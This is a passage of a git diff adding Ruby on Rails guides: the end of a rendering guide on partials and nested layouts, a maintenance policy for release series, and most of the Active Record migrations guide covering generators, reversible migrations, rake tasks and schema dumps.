+<%= render partial: "customer", object: @new_customer %>
+```
+
+Within the `customer` partial, the `customer` variable will refer to `@new_customer` from the parent view.
+
+If you have an instance of a model to render into a partial, you can use a shorthand syntax:
+
+```erb
+<%= render @customer %>
+```
+
+Assuming that the `@customer` instance variable contains an instance of the `Customer` model, this will use `_customer.html.erb` to render it and will pass the local variable `customer` into the partial which will refer to the `@customer` instance variable in the parent view.
+
+#### Rendering Collections
+
+Partials are very useful in rendering collections. When you pass a collection to a partial via the `:collection` option, the partial will be inserted once for each member in the collection:
+
+* `index.html.erb`
+
+    ```html+erb
+    <h1>Products</h1>
+    <%= render partial: "product", collection: @products %>
+    ```
+
+* `_product.html.erb`
+
+    ```html+erb
+    <p>Product Name: <%= product.name %></p>
+    ```
+
+When a partial is called with a pluralized collection, then the individual instances of the partial have access to the member of the collection being rendered via a variable named after the partial. In this case, the partial is `_product`, and within the `_product` partial, you can refer to `product` to get the instance that is being rendered.
+
+There is also a shorthand for this. Assuming `@products` is a collection of `product` instances, you can simply write this in the `index.html.erb` to produce the same result:
+
+```html+erb
+<h1>Products</h1>
+<%= render @products %>
+```
+
+Rails determines the name of the partial to use by looking at the model name in the collection. In fact, you can even create a heterogeneous collection and render it this way, and Rails will choose the proper partial for each member of the collection:
+
+* `index.html.erb`
+
+    ```html+erb
+    <h1>Contacts</h1>
+    <%= render [customer1, employee1, customer2, employee2] %>
+    ```
+
+* `customers/_customer.html.erb`
+
+    ```html+erb
+    <p>Customer: <%= customer.name %></p>
+    ```
+
+* `employees/_employee.html.erb`
+
+    ```html+erb
+    <p>Employee: <%= employee.name %></p>
+    ```
+
+In this case, Rails will use the customer or employee partials as appropriate for each member of the collection.
+
+In the event that the collection is empty, `render` will return nil, so it should be fairly simple to provide alternative content.
+
+```html+erb
+<h1>Products</h1>
+<%= render(@products) || "There are no products available." %>
+```
+
+#### Local Variables
+
+To use a custom local variable name within the partial, specify the `:as` option in the call to the partial:
+
+```erb
+<%= render partial: "product", collection: @products, as: :item %>
+```
+
+With this change, you can access an instance of the `@products` collection as the `item` local variable within the partial.
+
+You can also pass in arbitrary local variables to any partial you are rendering with the `locals: {}` option:
+
+```erb
+<%= render partial: "product", collection: @products,
+           as: :item, locals: {title: "Products Page"} %>
+```
+
+In this case, the partial will have access to a local variable `title` with the value "Products Page".
+
+TIP: Rails also makes a counter variable available within a partial called by the collection, named after the member of the collection followed by `_counter`. For example, if you're rendering `@products`, within the partial you can refer to `product_counter` to tell you how many times the partial has been rendered. This does not work in conjunction with the `as: :value` option.
+
+You can also specify a second partial to be rendered between instances of the main partial by using the `:spacer_template` option:
+
+#### Spacer Templates
+
+```erb
+<%= render partial: @products, spacer_template: "product_ruler" %>
+```
+
+Rails will render the `_product_ruler` partial (with no data passed in to it) between each pair of `_product` partials.
+
+#### Collection Partial Layouts
+
+When rendering collections it is also possible to use the `:layout` option:
+
+```erb
+<%= render partial: "product", collection: @products, layout: "special_layout" %>
+```
+
+The layout will be rendered together with the partial for each item in the collection. The current object and object_counter variables will be available in the layout as well, the same way they do within the partial.
+
+### Using Nested Layouts
+
+You may find that your application requires a layout that differs slightly from your regular application layout to support one particular controller. Rather than repeating the main layout and editing it, you can accomplish this by using nested layouts (sometimes called sub-templates). Here's an example:
+
+Suppose you have the following `ApplicationController` layout:
+
+* `app/views/layouts/application.html.erb`
+
+    ```html+erb
+    <html>
+    <head>
+      <title><%= @page_title or "Page Title" %></title>
+      <%= stylesheet_link_tag "layout" %>
+      <style><%= yield :stylesheets %></style>
+    </head>
+    <body>
+      <div id="top_menu">Top menu items here</div>
+      <div id="menu">Menu items here</div>
+      <div id="content"><%= content_for?(:content) ? yield(:content) : yield %></div>
+    </body>
+    </html>
+    ```
+
+On pages generated by `NewsController`, you want to hide the top menu and add a right menu:
+
+* `app/views/layouts/news.html.erb`
+
+    ```html+erb
+    <% content_for :stylesheets do %>
+      #top_menu {display: none}
+      #right_menu {float: right; background-color: yellow; color: black}
+    <% end %>
+    <% content_for :content do %>
+      <div id="right_menu">Right menu items here</div>
+      <%= content_for?(:news_content) ? yield(:news_content) : yield %>
+    <% end %>
+    <%= render template: "layouts/application" %>
+    ```
+
+That's it. The News views will use the new layout, hiding the top menu and adding a new right menu inside the "content" div.
+
+There are several ways of getting similar results with different sub-templating schemes using this technique. Note that there is no limit in nesting levels. One can use the `ActionView::render` method via `render template: 'layouts/news'` to base a new layout on the News layout. If you are sure you will not subtemplate the `News` layout, you can replace the `content_for?(:news_content) ? yield(:news_content) : yield` with simply `yield`.
diff --git a/guides/source/maintenance_policy.md b/guides/source/maintenance_policy.md
new file mode 100644
index 0000000..8f119f3
--- /dev/null
+++ b/guides/source/maintenance_policy.md
@@ -0,0 +1,56 @@
+Maintenance Policy for Ruby on Rails
+====================================
+
+Support of the Rails framework is divided into four groups: New features, bug
+fixes, security issues, and severe security issues. They are handled as
+follows, all versions in x.y.z format
+
+--------------------------------------------------------------------------------
+
+New Features
+------------
+
+New features are only added to the master branch and will not be made available
+in point releases.
+
+Bug Fixes
+---------
+
+Only the latest release series will receive bug fixes. When enough bugs are
+fixed and its deemed worthy to release a new gem, this is the branch it happens
+from.
+
+**Currently included series:** 4.1.z, 4.0.z
+
+Security Issues
+---------------
+
+The current release series and the next most recent one will receive patches
+and new versions in case of a security issue.
+
+These releases are created by taking the last released version, applying the
+security patches, and releasing. Those patches are then applied to the end of
+the x-y-stable branch. For example, a theoretical 1.2.3 security release would
+be built from 1.2.2, and then added to the end of 1-2-stable. This means that
+security releases are easy to upgrade to if you're running the latest version
+of Rails.
+
+**Currently included series:** 4.1.z, 4.0.z
+
+Severe Security Issues
+----------------------
+
+For severe security issues we will provide new versions as above, and also the
+last major release series will receive patches and new versions. The
+classification of the security issue is judged by the core team.
+
+**Currently included series:** 4.1.z, 4.0.z, 3.2.z
+
+Unsupported Release Series
+--------------------------
+
+When a release series is no longer supported, it's your own responsibility to
+deal with bugs and security issues. We may provide backports of the fixes and
+publish them to git, however there will be no new versions released. If you are
+not comfortable maintaining your own versions, you should upgrade to a
+supported version.
diff --git a/guides/source/migrations.md b/guides/source/migrations.md
new file mode 100644
index 0000000..523c76b
--- /dev/null
+++ b/guides/source/migrations.md
@@ -0,0 +1,1109 @@
+Active Record Migrations
+========================
+
+Migrations are a feature of Active Record that allows you to evolve your
+database schema over time. Rather than write schema modifications in pure SQL,
+migrations allow you to use an easy Ruby DSL to describe changes to your
+tables.
+
+After reading this guide, you will know:
+
+* The generators you can use to create them.
+* The methods Active Record provides to manipulate your database.
+* The Rake tasks that manipulate migrations and your schema.
+* How migrations relate to `schema.rb`.
+
+--------------------------------------------------------------------------------
+
+Migration Overview
+------------------
+
+Migrations are a convenient way to alter your database schema over time in a
+consistent and easy way. They use a Ruby DSL so that you don't have to write
+SQL by hand, allowing your schema and changes to be database independent.
+
+You can think of each migration as being a new 'version' of the database. A
+schema starts off with nothing in it, and each migration modifies it to add or
+remove tables, columns, or entries. Active Record knows how to update your
+schema along this timeline, bringing it from whatever point it is in the
+history to the latest version. Active Record will also update your
+`db/schema.rb` file to match the up-to-date structure of your database.
+
+Here's an example of a migration:
+
+```ruby
+class CreateProducts < ActiveRecord::Migration
+  def change
+    create_table :products do |t|
+      t.string :name
+      t.text :description
+
+      t.timestamps
+    end
+  end
+end
+```
+
+This migration adds a table called `products` with a string column called
+`name` and a text column called `description`. A primary key column called `id`
+will also be added implicitly, as it's the default primary key for all Active
+Record models. The `timestamps` macro adds two columns, `created_at` and
+`updated_at`. These special columns are automatically managed by Active Record
+if they exist.
+
+Note that we define the change that we want to happen moving forward in time.
+Before this migration is run, there will be no table. After, the table will
+exist. Active Record knows how to reverse this migration as well: if we roll
+this migration back, it will remove the table.
+
+On databases that support transactions with statements that change the schema,
+migrations are wrapped in a transaction. If the database does not support this
+then when a migration fails the parts of it that succeeded will not be rolled
+back. You will have to rollback the changes that were made by hand.
+
+NOTE: There are certain queries that can't run inside a transaction. If your
+adapter supports DDL transactions you can use `disable_ddl_transaction!` to
+disable them for a single migration.
+
+If you wish for a migration to do something that Active Record doesn't know how
+to reverse, you can use `reversible`:
+
+```ruby
+class ChangeProductsPrice < ActiveRecord::Migration
+  def change
+    reversible do |dir|
+      change_table :products do |t|
+        dir.up   { t.change :price, :string }
+        dir.down { t.change :price, :integer }
+      end
+    end
+  end
+end
+```
+
+Alternatively, you can use `up` and `down` instead of `change`:
+
+```ruby
+class ChangeProductsPrice < ActiveRecord::Migration
+  def up
+    change_table :products do |t|
+      t.change :price, :string
+    end
+  end
+
+  def down
+    change_table :products do |t|
+      t.change :price, :integer
+    end
+  end
+end
+```
+
+Creating a Migration
+--------------------
+
+### Creating a Standalone Migration
+
+Migrations are stored as files in the `db/migrate` directory, one for each
+migration class. The name of the file is of the form
+`YYYYMMDDHHMMSS_create_products.rb`, that is to say a UTC timestamp
+identifying the migration followed by an underscore followed by the name
+of the migration. The name of the migration class (CamelCased version)
+should match the latter part of the file name. For example
+`20080906120000_create_products.rb` should define class `CreateProducts` and
+`20080906120001_add_details_to_products.rb` should define
+`AddDetailsToProducts`. Rails uses this timestamp to determine which migration
+should be run and in what order, so if you're copying a migration from another
+application or generate a file yourself, be aware of its position in the order.
+
+Of course, calculating timestamps is no fun, so Active Record provides a
+generator to handle making it for you:
+
+```bash
+$ bin/rails generate migration AddPartNumberToProducts
+```
+
+This will create an empty but appropriately named migration:
+
+```ruby
+class AddPartNumberToProducts < ActiveRecord::Migration
+  def change
+  end
+end
+```
+
+If the migration name is of the form "AddXXXToYYY" or "RemoveXXXFromYYY" and is
+followed by a list of column names and types then a migration containing the
+appropriate `add_column` and `remove_column` statements will be created.
+
+```bash
+$ bin/rails generate migration AddPartNumberToProducts part_number:string
+```
+
+will generate
+
+```ruby
+class AddPartNumberToProducts < ActiveRecord::Migration
+  def change
+    add_column :products, :part_number, :string
+  end
+end
+```
+
+If you'd like to add an index on the new column, you can do that as well:
+
+```bash
+$ bin/rails generate migration AddPartNumberToProducts part_number:string:index
+```
+
+will generate
+
+```ruby
+class AddPartNumberToProducts < ActiveRecord::Migration
+  def change
+    add_column :products, :part_number, :string
+    add_index :products, :part_number
+  end
+end
+```
+
+
+Similarly, you can generate a migration to remove a column from the command line:
+
+```bash
+$ bin/rails generate migration RemovePartNumberFromProducts part_number:string
+```
+
+generates
+
+```ruby
+class RemovePartNumberFromProducts < ActiveRecord::Migration
+  def change
+    remove_column :products, :part_number, :string
+  end
+end
+```
+
+You are not limited to one magically generated column. For example:
+
+```bash
+$ bin/rails generate migration AddDetailsToProducts part_number:string price:decimal
+```
+
+generates
+
+```ruby
+class AddDetailsToProducts < ActiveRecord::Migration
+  def change
+    add_column :products, :part_number, :string
+    add_column :products, :price, :decimal
+  end
+end
+```
+
+If the migration name is of the form "CreateXXX" and is
+followed by a list of column names and types then a migration creating the table
+XXX with the columns listed will be generated. For example:
+
+```bash
+$ bin/rails generate migration CreateProducts name:string part_number:string
+```
+
+generates
+
+```ruby
+class CreateProducts < ActiveRecord::Migration
+  def change
+    create_table :products do |t|
+      t.string :name
+      t.string :part_number
+    end
+  end
+end
+```
+
+As always, what has been generated for you is just a starting point. You can add
+or remove from it as you see fit by editing the
+`db/migrate/YYYYMMDDHHMMSS_add_details_to_products.rb` file.
+
+Also, the generator accepts column type as `references`(also available as
+`belongs_to`). For instance:
+
+```bash
+$ bin/rails generate migration AddUserRefToProducts user:references
+```
+
+generates
+
+```ruby
+class AddUserRefToProducts < ActiveRecord::Migration
+  def change
+    add_reference :products, :user, index: true
+  end
+end
+```
+
+This migration will create a `user_id` column and appropriate index.
+
+There is also a generator which will produce join tables if `JoinTable` is part of the name:
+
+```bash
+$ bin/rails g migration CreateJoinTableCustomerProduct customer product
+```
+
+will produce the following migration:
+
+```ruby
+class CreateJoinTableCustomerProduct < ActiveRecord::Migration
+  def change
+    create_join_table :customers, :products do |t|
+      # t.index [:customer_id, :product_id]
+      # t.index [:product_id, :customer_id]
+    end
+  end
+end
+```
+
+### Model Generators
+
+The model and scaffold generators will create migrations appropriate for adding
+a new model. This migration will already contain instructions for creating the
+relevant table. If you tell Rails what columns you want, then statements for
+adding these columns will also be created. For example, running:
+
+```bash
+$ bin/rails generate model Product name:string description:text
+```
+
+will create a migration that looks like this
+
+```ruby
+class CreateProducts < ActiveRecord::Migration
+  def change
+    create_table :products do |t|
+      t.string :name
+      t.text :description
+
+      t.timestamps
+    end
+  end
+end
+```
+
+You can append as many column name/type pairs as you want.
+
+### Supported Type Modifiers
+
+You can also specify some options just after the field type between curly
+braces. You can use the following modifiers:
+
+* `limit`        Sets the maximum size of the `string/text/binary/integer` fields.
+* `precision`    Defines the precision for the `decimal` fields, representing the total number of digits in the number.
+* `scale`        Defines the scale for the `decimal` fields, representing the number of digits after the decimal point.
+* `polymorphic`  Adds a `type` column for `belongs_to` associations.
+* `null`         Allows or disallows `NULL` values in the column.
+
+For instance, running:
+
+```bash
+$ bin/rails generate migration AddDetailsToProducts 'price:decimal{5,2}' supplier:references{polymorphic}
+```
+
+will produce a migration that looks like this
+
+```ruby
+class AddDetailsToProducts < ActiveRecord::Migration
+  def change
+    add_column :products, :price, :decimal, precision: 5, scale: 2
+    add_reference :products, :supplier, polymorphic: true, index: true
+  end
+end
+```
+
+Writing a Migration
+-------------------
+
+Once you have created your migration using one of the generators it's time to
+get to work!
+
+### Creating a Table
+
+The `create_table` method is one of the most fundamental, but most of the time,
+will be generated for you from using a model or scaffold generator. A typical
+use would be
+
+```ruby
+create_table :products do |t|
+  t.string :name
+end
+```
+
+which creates a `products` table with a column called `name` (and as discussed
+below, an implicit `id` column).
+
+By default, `create_table` will create a primary key called `id`. You can change
+the name of the primary key with the `:primary_key` option (don't forget to
+update the corresponding model) or, if you don't want a primary key at all, you
+can pass the option `id: false`. If you need to pass database specific options
+you can place an SQL fragment in the `:options` option. For example:
+
+```ruby
+create_table :products, options: "ENGINE=BLACKHOLE" do |t|
+  t.string :name, null: false
+end
+```
+
+will append `ENGINE=BLACKHOLE` to the SQL statement used to create the table
+(when using MySQL, the default is `ENGINE=InnoDB`).
+
+### Creating a Join Table
+
+Migration method `create_join_table` creates a HABTM join table. A typical use
+would be:
+
+```ruby
+create_join_table :products, :categories
+```
+
+which creates a `categories_products` table with two columns called
+`category_id` and `product_id`. These columns have the option `:null` set to
+`false` by default. This can be overridden by specifying the `:column_options`
+option.
+
+```ruby
+create_join_table :products, :categories, column_options: {null: true}
+```
+
+will create the `product_id` and `category_id` with the `:null` option as
+`true`.
+
+You can pass the option `:table_name` when you want to customize the table
+name. For example:
+
+```ruby
+create_join_table :products, :categories, table_name: :categorization
+```
+
+will create a `categorization` table.
+
+`create_join_table` also accepts a block, which you can use to add indices
+(which are not created by default) or additional columns:
+
+```ruby
+create_join_table :products, :categories do |t|
+  t.index :product_id
+  t.index :category_id
+end
+```
+
+### Changing Tables
+
+A close cousin of `create_table` is `change_table`, used for changing existing
+tables. It is used in a similar fashion to `create_table` but the object
+yielded to the block knows more tricks. For example:
+
+```ruby
+change_table :products do |t|
+  t.remove :description, :name
+  t.string :part_number
+  t.index :part_number
+  t.rename :upccode, :upc_code
+end
+```
+
+removes the `description` and `name` columns, creates a `part_number` string
+column and adds an index on it. Finally it renames the `upccode` column.
+
+### When Helpers aren't Enough
+
+If the helpers provided by Active Record aren't enough you can use the `execute`
+method to execute arbitrary SQL:
+
+```ruby
+Product.connection.execute('UPDATE `products` SET `price`=`free` WHERE 1')
+```
+
+For more details and examples of individual methods, check the API documentation.
+In particular the documentation for
+[`ActiveRecord::ConnectionAdapters::SchemaStatements`](http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html)
+(which provides the methods available in the `change`, `up` and `down` methods),
+[`ActiveRecord::ConnectionAdapters::TableDefinition`](http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html)
+(which provides the methods available on the object yielded by `create_table`)
+and
+[`ActiveRecord::ConnectionAdapters::Table`](http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/Table.html)
+(which provides the methods available on the object yielded by `change_table`).
+
+### Using the `change` Method
+
+The `change` method is the primary way of writing migrations. It works for the
+majority of cases, where Active Record knows how to reverse the migration
+automatically. Currently, the `change` method supports only these migration
+definitions:
+
+* `add_column`
+* `add_index`
+* `add_reference`
+* `add_timestamps`
+* `create_table`
+* `create_join_table`
+* `drop_table` (must supply a block)
+* `drop_join_table` (must supply a block)
+* `remove_timestamps`
+* `rename_column`
+* `rename_index`
+* `remove_reference`
+* `rename_table`
+
+`change_table` is also reversible, as long as the block does not call `change`,
+`change_default` or `remove`.
+
+If you're going to need to use any other methods, you should use `reversible`
+or write the `up` and `down` methods instead of using the `change` method.
+
+### Using `reversible`
+
+Complex migrations may require processing that Active Record doesn't know how
+to reverse. You can use `reversible` to specify what to do when running a
+migration what else to do when reverting it. For example:
+
+```ruby
+class ExampleMigration < ActiveRecord::Migration
+  def change
+    create_table :products do |t|
+      t.references :category
+    end
+
+    reversible do |dir|
+      dir.up do
+        #add a foreign key
+        execute <<-SQL
+          ALTER TABLE products
+            ADD CONSTRAINT fk_products_categories
+            FOREIGN KEY (category_id)
+            REFERENCES categories(id)
+        SQL
+      end
+      dir.down do
+        execute <<-SQL
+          ALTER TABLE products
+            DROP FOREIGN KEY fk_products_categories
+        SQL
+      end
+    end
+
+    add_column :users, :home_page_url, :string
+    rename_column :users, :email, :email_address
+  end
+end
+```
+
+Using `reversible` will ensure that the instructions are executed in the
+right order too. If the previous example migration is reverted,
+the `down` block will be run after the `home_page_url` column is removed and
+right before the table `products` is dropped.
+
+Sometimes your migration will do something which is just plain irreversible; for
+example, it might destroy some data. In such cases, you can raise
+`ActiveRecord::IrreversibleMigration` in your `down` block. If someone tries
+to revert your migration, an error message will be displayed saying that it
+can't be done.
+
+### Using the `up`/`down` Methods
+
+You can also use the old style of migration using `up` and `down` methods
+instead of the `change` method.
+The `up` method should describe the transformation you'd like to make to your
+schema, and the `down` method of your migration should revert the
+transformations done by the `up` method. In other words, the database schema
+should be unchanged if you do an `up` followed by a `down`. For example, if you
+create a table in the `up` method, you should drop it in the `down` method. It
+is wise to reverse the transformations in precisely the reverse order they were
+made in the `up` method. The example in the `reversible` section is equivalent to:
+
+```ruby
+class ExampleMigration < ActiveRecord::Migration
+  def up
+    create_table :products do |t|
+      t.references :category
+    end
+
+    # add a foreign key
+    execute <<-SQL
+      ALTER TABLE products
+        ADD CONSTRAINT fk_products_categories
+        FOREIGN KEY (category_id)
+        REFERENCES categories(id)
+    SQL
+
+    add_column :users, :home_page_url, :string
+    rename_column :users, :email, :email_address
+  end
+
+  def down
+    rename_column :users, :email_address, :email
+    remove_column :users, :home_page_url
+
+    execute <<-SQL
+      ALTER TABLE products
+        DROP FOREIGN KEY fk_products_categories
+    SQL
+
+    drop_table :products
+  end
+end
+```
+
+If your migration is irreversible, you should raise
+`ActiveRecord::IrreversibleMigration` from your `down` method. If someone tries
+to revert your migration, an error message will be displayed saying that it
+can't be done.
+
+### Reverting Previous Migrations
+
+You can use Active Record's ability to rollback migrations using the `revert` method:
+
+```ruby
+require_relative '2012121212_example_migration'
+
+class FixupExampleMigration < ActiveRecord::Migration
+  def change
+    revert ExampleMigration
+
+    create_table(:apples) do |t|
+      t.string :variety
+    end
+  end
+end
+```
+
+The `revert` method also accepts a block of instructions to reverse.
+This could be useful to revert selected parts of previous migrations.
+For example, let's imagine that `ExampleMigration` is committed and it
+is later decided it would be best to serialize the product list instead.
+One could write:
+
+```ruby
+class SerializeProductListMigration < ActiveRecord::Migration
+  def change
+    add_column :categories, :product_list
+
+    reversible do |dir|
+      dir.up do
+        # transfer data from Products to Category#product_list
+      end
+      dir.down do
+        # create Products from Category#product_list
+      end
+    end
+
+    revert do
+      # copy-pasted code from ExampleMigration
+      create_table :products do |t|
+        t.references :category
+      end
+
+      reversible do |dir|
+        dir.up do
+          #add a foreign key
+          execute <<-SQL
+            ALTER TABLE products
+              ADD CONSTRAINT fk_products_categories
+              FOREIGN KEY (category_id)
+              REFERENCES categories(id)
+          SQL
+        end
+        dir.down do
+          execute <<-SQL
+            ALTER TABLE products
+              DROP FOREIGN KEY fk_products_categories
+          SQL
+        end
+      end
+
+      # The rest of the migration was ok
+    end
+  end
+end
+```
+
+The same migration could also have been written without using `revert`
+but this would have involved a few more steps: reversing the order
+of `create_table` and `reversible`, replacing `create_table`
+by `drop_table`, and finally replacing `up` by `down` and vice-versa.
+This is all taken care of by `revert`.
+
+Running Migrations
+------------------
+
+Rails provides a set of Rake tasks to run certain sets of migrations.
+
+The very first migration related Rake task you will use will probably be
+`rake db:migrate`. In its most basic form it just runs the `change` or `up`
+method for all the migrations that have not yet been run. If there are
+no such migrations, it exits. It will run these migrations in order based
+on the date of the migration.
+
+Note that running the `db:migrate` task also invokes the `db:schema:dump` task, which
+will update your `db/schema.rb` file to match the structure of your database.
+
+If you specify a target version, Active Record will run the required migrations
+(change, up, down) until it has reached the specified version. The version
+is the numerical prefix on the migration's filename. For example, to migrate
+to version 20080906120000 run:
+
+```bash
+$ bin/rake db:migrate VERSION=20080906120000
+```
+
+If version 20080906120000 is greater than the current version (i.e., it is
+migrating upwards), this will run the `change` (or `up`) method
+on all migrations up to and
+including 20080906120000, and will not execute any later migrations. If
+migrating downwards, this will run the `down` method on all the migrations
+down to, but not including, 20080906120000.
+
+### Rolling Back
+
+A common task is to rollback the last migration. For example, if you made a
+mistake in it and wish to correct it. Rather than tracking down the version
+number associated with the previous migration you can run:
+
+```bash
+$ bin/rake db:rollback
+```
+
+This will rollback the latest migration, either by reverting the `change`
+method or by running the `down` method. If you need to undo
+several migrations you can provide a `STEP` parameter:
+
+```bash
+$ bin/rake db:rollback STEP=3
+```
+
+will revert the last 3 migrations.
+
+The `db:migrate:redo` task is a shortcut for doing a rollback and then migrating
+back up again. As with the `db:rollback` task, you can use the `STEP` parameter
+if you need to go more than one version back, for example:
+
+```bash
+$ bin/rake db:migrate:redo STEP=3
+```
+
+Neither of these Rake tasks do anything you could not do with `db:migrate`. They
+are simply more convenient, since you do not need to explicitly specify the
+version to migrate to.
+
+### Setup the Database
+
+The `rake db:setup` task will create the database, load the schema and initialize
+it with the seed data.
+
+### Resetting the Database
+
+The `rake db:reset` task will drop the database and set it up again. This is
+functionally equivalent to `rake db:drop db:setup`.
+
+NOTE: This is not the same as running all the migrations. It will only use the
+contents of the current `schema.rb` file. If a migration can't be rolled back,
+`rake db:reset` may not help you. To find out more about dumping the schema see
+[Schema Dumping and You](#schema-dumping-and-you) section.
+
+### Running Specific Migrations
+
+If you need to run a specific migration up or down, the `db:migrate:up` and
+`db:migrate:down` tasks will do that. Just specify the appropriate version and
+the corresponding migration will have its `change`, `up` or `down` method
+invoked, for example:
+
+```bash
+$ bin/rake db:migrate:up VERSION=20080906120000
+```
+
+will run the 20080906120000 migration by running the `change` method (or the
+`up` method). This task will
+first check whether the migration is already performed and will do nothing if
+Active Record believes that it has already been run.
+
+### Running Migrations in Different Environments
+
+By default running `rake db:migrate` will run in the `development` environment.
+To run migrations against another environment you can specify it using the
+`RAILS_ENV` environment variable while running the command. For example to run
+migrations against the `test` environment you could run:
+
+```bash
+$ bin/rake db:migrate RAILS_ENV=test
+```
+
+### Changing the Output of Running Migrations
+
+By default migrations tell you exactly what they're doing and how long it took.
+A migration creating a table and adding an index might produce output like this
+
+```bash
+==  CreateProducts: migrating =================================================
+-- create_table(:products)
+   -> 0.0028s
+==  CreateProducts: migrated (0.0028s) ========================================
+```
+
+Several methods are provided in migrations that allow you to control all this:
+
+| Method               | Purpose
+| -------------------- | -------
+| suppress_messages    | Takes a block as an argument and suppresses any output generated by the block.
+| say                  | Takes a message argument and outputs it as is. A second boolean argument can be passed to specify whether to indent or not.
+| say_with_time        | Outputs text along with how long it took to run its block. If the block returns an integer it assumes it is the number of rows affected.
+
+For example, this migration:
+
+```ruby
+class CreateProducts < ActiveRecord::Migration
+  def change
+    suppress_messages do
+      create_table :products do |t|
+        t.string :name
+        t.text :description
+        t.timestamps
+      end
+    end
+
+    say "Created a table"
+
+    suppress_messages {add_index :products, :name}
+    say "and an index!", true
+
+    say_with_time 'Waiting for a while' do
+      sleep 10
+      250
+    end
+  end
+end
+```
+
+generates the following output
+
+```bash
+==  CreateProducts: migrating =================================================
+-- Created a table
+   -> and an index!
+-- Waiting for a while
+   -> 10.0013s
+   -> 250 rows
+==  CreateProducts: migrated (10.0054s) =======================================
+```
+
+If you want Active Record to not output anything, then running `rake db:migrate
+VERBOSE=false` will suppress all output.
+
+Changing Existing Migrations
+----------------------------
+
+Occasionally you will make a mistake when writing a migration. If you have
+already run the migration then you cannot just edit the migration and run the
+migration again: Rails thinks it has already run the migration and so will do
+nothing when you run `rake db:migrate`. You must rollback the migration (for
+example with `rake db:rollback`), edit your migration and then run
+`rake db:migrate` to run the corrected version.
+
+In general, editing existing migrations is not a good idea. You will be
+creating extra work for yourself and your co-workers and cause major headaches
+if the existing version of the migration has already been run on production
+machines. Instead, you should write a new migration that performs the changes
+you require. Editing a freshly generated migration that has not yet been
+committed to source control (or, more generally, which has not been propagated
+beyond your development machine) is relatively harmless.
+
+The `revert` method can be helpful when writing a new migration to undo
+previous migrations in whole or in part
+(see [Reverting Previous Migrations](#reverting-previous-migrations) above).
+
+Using Models in Your Migrations
+-------------------------------
+
+When creating or updating data in a migration it is often tempting to use one
+of your models. After all, they exist to provide easy access to the underlying
+data. This can be done, but some caution should be observed.
+
+For example, problems occur when the model uses database columns which are (1)
+not currently in the database and (2) will be created by this or a subsequent
+migration.
+
+Consider this example, where Alice and Bob are working on the same code base
+which contains a `Product` model:
+
+Bob goes on vacation.
+
+Alice creates a migration for the `products` table which adds a new column and
+initializes it:
+
+```ruby
+# db/migrate/20100513121110_add_flag_to_product.rb
+
+class AddFlagToProduct < ActiveRecord::Migration
+  def change
+    add_column :products, :flag, :boolean
+    reversible do |dir|
+      dir.up { Product.update_all flag: false }
+    end
+  end
+end
+```
+
+She also adds a validation to the `Product` model for the new column:
+
+```ruby
+# app/models/product.rb
+
+class Product < ActiveRecord::Base
+  validates :flag, inclusion: { in: [true, false] }
+end
+```
+
+Alice adds a second migration which adds another column to the `products`
+table and initializes it:
+
+```ruby
+# db/migrate/20100515121110_add_fuzz_to_product.rb
+
+class AddFuzzToProduct < ActiveRecord::Migration
+  def change
+    add_column :products, :fuzz, :string
+    reversible do |dir|
+      dir.up { Product.update_all fuzz: 'fuzzy' }
+    end
+  end
+end
+```
+
+She also adds a validation to the `Product` model for the new column:
+
+```ruby
+# app/models/product.rb
+
+class Product < ActiveRecord::Base
+  validates :flag, inclusion: { in: [true, false] }
+  validates :fuzz, presence: true
+end
+```
+
+Both migrations work for Alice.
+
+Bob comes back from vacation and:
+
+*   Updates the source - which contains both migrations and the latest version
+    of the Product model.
+*   Runs outstanding migrations with `rake db:migrate`, which
+    includes the one that updates the `Product` model.
+
+The migration crashes because when the model attempts to save, it tries to
+validate the second added column, which is not in the database when the _first_
+migration runs:
+
+```
+rake aborted!
+An error has occurred, this and all later migrations canceled:
+
+undefined method `fuzz' for #<Product:0x000001049b14a0>
+```
+
+A fix for this is to create a local model within the migration. This keeps
+Rails from running the validations, so that the migrations run to completion.
+
+When using a local model, it's a good idea to call
+`Product.reset_column_information` to refresh the Active Record cache for the
+`Product` model prior to updating data in the database.
+
+If Alice had done this instead, there would have been no problem:
+
+```ruby
+# db/migrate/20100513121110_add_flag_to_product.rb
+
+class AddFlagToProduct < ActiveRecord::Migration
+  class Product < ActiveRecord::Base
+  end
+
+  def change
+    add_column :products, :flag, :boolean
+    Product.reset_column_information
+    reversible do |dir|
+      dir.up { Product.update_all flag: false }
+    end
+  end
+end
+```
+
+```ruby
+# db/migrate/20100515121110_add_fuzz_to_product.rb
+
+class AddFuzzToProduct < ActiveRecord::Migration
+  class Product < ActiveRecord::Base
+  end
+
+  def change
+    add_column :products, :fuzz, :string
+    Product.reset_column_information
+    reversible do |dir|
+      dir.up { Product.update_all fuzz: 'fuzzy' }
+    end
+  end
+end
+```
+
+There are other ways in which the above example could have gone badly.
+
+For example, imagine that Alice creates a migration that selectively
+updates the `description` field on certain products. She runs the
+migration, commits the code, and then begins working on the next feature,
+which is to add a new column `fuzz` to the products table.
+
+She creates two migrations for this new feature, one which adds the new
+column, and a second which selectively updates the `fuzz` column based on
+other product attributes.
+
+These migrations run just fine, but when Bob comes back from his vacation
+and calls `rake db:migrate` to run all the outstanding migrations, he gets a
+subtle bug: The descriptions have defaults, and the `fuzz` column is present,
+but `fuzz` is `nil` on all products.
+
+The solution is again to use `Product.reset_column_information` before
+referencing the Product model in a migration, ensuring the Active Record's
+knowledge of the table structure is current before manipulating data in those
+records.
+
+Schema Dumping and You
+----------------------
+
+### What are Schema Files for?
+
+Migrations, mighty as they may be, are not the authoritative source for your
+database schema. That role falls to either `db/schema.rb` or an SQL file which
+Active Record generates by examining the database. They are not designed to be
+edited, they just represent the current state of the database.
+
+There is no need (and it is error prone) to deploy a new instance of an app by
+replaying the entire migration history. It is much simpler and faster to just
+load into the database a description of the current schema.
+
+For example, this is how the test database is created: the current development
+database is dumped (either to `db/schema.rb` or `db/structure.sql`) and then
+loaded into the test database.
+
+Schema files are also useful if you want a quick look at what attributes an
+Active Record object has. This information is not in the model's code and is
+frequently spread across several migrations, but the information is nicely
+summed up in the schema file. The
+[annotate_models](https://github.com/ctran/annotate_models) gem automatically
+adds and updates comments at the top of each model summarizing the schema if
+you desire that functionality.
+
+### Types of Schema Dumps
+
+There are two ways to dump the schema. This is set in `config/application.rb`
+by the `config.active_record.schema_format` setting, which may be either `:sql`
+or `:ruby`.
+
